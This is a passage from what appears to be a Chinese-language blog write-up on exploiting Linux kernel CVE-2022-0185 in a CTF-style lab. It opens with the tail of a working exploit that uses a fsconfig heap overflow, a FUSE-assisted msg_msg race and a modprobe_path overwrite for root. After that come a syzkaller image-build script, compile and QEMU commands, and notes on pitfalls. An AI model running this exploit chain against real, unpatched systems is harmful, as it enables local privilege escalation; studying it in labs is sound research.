fsconfig(exp_fs_fd, FSCONFIG_SET_STRING, "aaaaaaa", "bbbbbbb", 0);
fsconfig(exp_fs_fd, FSCONFIG_SET_STRING, "0x196082", "pwned", 0);

pthread_t thr;
pthread_create(&thr, NULL, change_next, NULL);
if (msgsnd(ms_qid, evil_page - 0xfd0 + 0x8, 0xfd0 + 0x18, MSG_TAG) < 0)
errExit("failed to send primary msg!");
pthread_join(thr, NULL);
i++;
system("/tmp/dummy");

int flag_fd = open("/flag", O_RDWR);
if (flag_fd > 0)
{
puts("[+] Successfully overwrite the modprobe_path!");
break;
}
}

return 0;
}

踩坑记

首先在虚拟机中跑FUSE时踩了一个大坑,在一篇文章中( 这里提到的文章就不放出来了,可能是师傅们不小心写错了 )指出FUSE无法在ctf环境中运行是因为bzImage的问题,经过询问发现其问题主要是文件系统过于残缺导致的。随后听取a3佬的意见更多的学习了fuse原理之后成功解决了问题,我这里使用的是syzkaller中的工具使用debootstrap搭建的一个文件系统

BASH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
#!/usr/bin/env bash
# Copyright 2016 syzkaller project authors. All rights reserved.
# Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

# create-image.sh creates a minimal Debian Linux image suitable for syzkaller.

set -eux

# Create a minimal Debian distribution in a directory.
DIR=chroot
PREINSTALL_PKGS=openssh-server,curl,tar,gcc,libc6-dev,time,strace,sudo,less,psmisc,selinux-utils,policycoreutils,checkpolicy,selinux-policy-default,firmware-atheros,debian-ports-archive-keyring,libselinux1-dev,fuse3,libfuse3-3,libfuse3-dev,libfuse2,libfuse-dev

# If ADD_PACKAGE is not defined as an external environment variable, use our default packages
if [ -z ${ADD_PACKAGE+x} ]; then
ADD_PACKAGE="make,sysbench,git,vim,tmux,usbutils,tcpdump"
fi

# Variables affected by options
ARCH=$(uname -m)
RELEASE=bullseye
FEATURE=minimal
SEEK=2047
PERF=false

# Display help function
display_help() {
echo "Usage: $0 [option...] " >&2
echo
echo " -a, --arch Set architecture"
echo " -d, --distribution Set on which debian distribution to create"
echo " -f, --feature Check what packages to install in the image, options are minimal, full"
echo " -s, --seek Image size (MB), default 2048 (2G)"
echo " -h, --help Display help message"
echo " -p, --add-perf Add perf support with this option enabled. Please set envrionment variable \$KERNEL at first"
echo
}

while true; do
if [ $# -eq 0 ];then
echo $#
break
fi
case "$1" in
-h | --help)
display_help
exit 0
;;
-a | --arch)
ARCH=$2
shift 2
;;
-d | --distribution)
RELEASE=$2
shift 2
;;
-f | --feature)
FEATURE=$2
shift 2
;;
-s | --seek)
SEEK=$(($2 - 1))
shift 2
;;
-p | --add-perf)
PERF=true
shift 1
;;
-*)
echo "Error: Unknown option: $1" >&2
exit 1
;;
*) # No more options
break
;;
esac
done

# Handle cases where qemu and Debian use different arch names
case "$ARCH" in
ppc64le)
DEBARCH=ppc64el
;;
aarch64)
DEBARCH=arm64
;;
arm)
DEBARCH=armel
;;
x86_64)
DEBARCH=amd64
;;
*)
DEBARCH=$ARCH
;;
esac

# Foreign architecture

FOREIGN=false
if [ $ARCH != $(uname -m) ]; then
# i386 on an x86_64 host is exempted, as we can run i386 binaries natively
if [ $ARCH != "i386" -o $(uname -m) != "x86_64" ]; then
FOREIGN=true
fi
fi

if [ $FOREIGN = "true" ]; then
# Check for according qemu static binary
if ! which qemu-$ARCH-static; then
echo "Please install qemu static binary for architecture $ARCH (package 'qemu-user-static' on Debian/Ubuntu/Fedora)"
exit 1
fi
# Check for according binfmt entry
if [ ! -r /proc/sys/fs/binfmt_misc/qemu-$ARCH ]; then
echo "binfmt entry /proc/sys/fs/binfmt_misc/qemu-$ARCH does not exist"
exit 1
fi
fi

# Double check KERNEL when PERF is enabled
if [ $PERF = "true" ] && [ -z ${KERNEL+x} ]; then
echo "Please set KERNEL environment variable when PERF is enabled"
exit 1
fi

# If full feature is chosen, install more packages
if [ $FEATURE = "full" ]; then
PREINSTALL_PKGS=$PREINSTALL_PKGS","$ADD_PACKAGE
fi

sudo rm -rf $DIR
sudo mkdir -p $DIR
sudo chmod 0755 $DIR

# 1. debootstrap stage

DEBOOTSTRAP_PARAMS="--arch=$DEBARCH --no-check-gpg --include=$PREINSTALL_PKGS --components=main,contrib,non-free,non-free-firmware $RELEASE $DIR"
if [ $FOREIGN = "true" ]; then
DEBOOTSTRAP_PARAMS="--foreign $DEBOOTSTRAP_PARAMS"
fi

# riscv64 is hosted in the debian-ports repository
# debian-ports doesn't include non-free, so we exclude firmware-atheros
if [ $DEBARCH == "riscv64" ]; then
DEBOOTSTRAP_PARAMS="--keyring /usr/share/keyrings/debian-ports-archive-keyring.gpg --exclude firmware-atheros $DEBOOTSTRAP_PARAMS http://deb.debian.org/debian-ports"
fi
sudo --preserve-env=http_proxy,https_proxy,ftp_proxy,no_proxy debootstrap $DEBOOTSTRAP_PARAMS

# 2. debootstrap stage: only necessary if target != host architecture

if [ $FOREIGN = "true" ]; then
sudo cp $(which qemu-$ARCH-static) $DIR/$(which qemu-$ARCH-static)
sudo chroot $DIR /bin/bash -c "/debootstrap/debootstrap --second-stage"
fi

# Set some defaults and enable promtless ssh to the machine for root.
sudo sed -i '/^root/ { s/:x:/::/ }' $DIR/etc/passwd
echo 'T0:23:respawn:/sbin/getty -L ttyS0 115200 vt100' | sudo tee -a $DIR/etc/inittab
printf '\nauto eth0\niface eth0 inet dhcp\n' | sudo tee -a $DIR/etc/network/interfaces
echo '/dev/root / ext4 defaults 0 0' | sudo tee -a $DIR/etc/fstab
echo 'debugfs /sys/kernel/debug debugfs defaults 0 0' | sudo tee -a $DIR/etc/fstab
echo 'securityfs /sys/kernel/security securityfs defaults 0 0' | sudo tee -a $DIR/etc/fstab
echo 'configfs /sys/kernel/config/ configfs defaults 0 0' | sudo tee -a $DIR/etc/fstab
echo 'binfmt_misc /proc/sys/fs/binfmt_misc binfmt_misc defaults 0 0' | sudo tee -a $DIR/etc/fstab
echo -en "127.0.0.1\tlocalhost\n" | sudo tee $DIR/etc/hosts
echo "nameserver 8.8.8.8" | sudo tee -a $DIR/etc/resolve.conf
echo "syzkaller" | sudo tee $DIR/etc/hostname
ssh-keygen -f $RELEASE.id_rsa -t rsa -N ''
sudo mkdir -p $DIR/root/.ssh/
cat $RELEASE.id_rsa.pub | sudo tee $DIR/root/.ssh/authorized_keys

# Add perf support
if [ $PERF = "true" ]; then
cp -r $KERNEL $DIR/tmp/
BASENAME=$(basename $KERNEL)
sudo chroot $DIR /bin/bash -c "apt-get update; apt-get install -y flex bison python-dev libelf-dev libunwind8-dev libaudit-dev libslang2-dev libperl-dev binutils-dev liblzma-dev libnuma-dev"
sudo chroot $DIR /bin/bash -c "cd /tmp/$BASENAME/tools/perf/; make"
sudo chroot $DIR /bin/bash -c "cp /tmp/$BASENAME/tools/perf/perf /usr/bin/"
rm -r $DIR/tmp/$BASENAME
fi

# Add udev rules for custom drivers.
# Create a /dev/vim2m symlink for the device managed by the vim2m driver
echo 'ATTR{name}=="vim2m", SYMLINK+="vim2m"' | sudo tee -a $DIR/etc/udev/rules.d/50-udev-default.rules

# Build a disk image
dd if=/dev/zero of=$RELEASE.img bs=1M seek=$SEEK count=1
sudo mkfs.ext4 -F $RELEASE.img
sudo mkdir -p /mnt/$DIR
sudo mount -o loop $RELEASE.img /mnt/$DIR
sudo cp -a $DIR/. /mnt/$DIR/.
sudo umount /mnt/$DIR

因为我也稍做了点修改,怕以后忘记了这里贴出来记录一下。

第二个坑就是关于上面提到的内部隔离问题,同样也是在某位师傅的博客文章中提到了在linux kernel 5.14以前不存在内部隔离问题,随即居然以下犯上去说a3师傅写的ctfwiki错了,在经过几天挣扎之后终于注意到了在linux kernel 5.9以前的内部隔离实现。

再记录一下编译选项

BASH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
gcc exp.c -masm=intel -static -no-pie -Wall -D_FILE_OFFSET_BITS=64 -I./libfuse libfuse3.a -g -lpthread -o exp -w
# make fuse
sudo mount bullseye.img rootfs
sudo cp exp rootfs/home/test
objdump -d ./exp > exp.txt
sudo mkdir rootfs/home/test/temp
sudo umount rootfs

qemu-system-x86_64 \
-cpu kvm64,+smep,+smap \
-kernel ./vmlinux \
-append "console=ttyS0 root=/dev/sda rw" \
-hda ./bullseye.img \
-enable-kvm -m 3G -nographic \
-netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 \
-netdev user,id=t1, -device pcnet,netdev=t1,id=nic1 \
-s

参考链接:

https://arttnba3.cn/2023/01/11/CVE-0X09-CVE-2022-0185/

https://zhuanlan.zhihu.com/p/93592262

https://www.willsroot.io/2022/01/cve-2022-0185.html

https://elixir.bootlin.com/linux/v5.4/source

https://github.com/Crusaders-of-Rust/CVE-2022-0185

 评论
评论插件加载失败
Powered By Valine
v1.5.2
由 Hexo 驱动 & 主题 Keep v4.2.2
本站由 提供部署服务
总字数 335.6k 访客数 4776 访问量 7179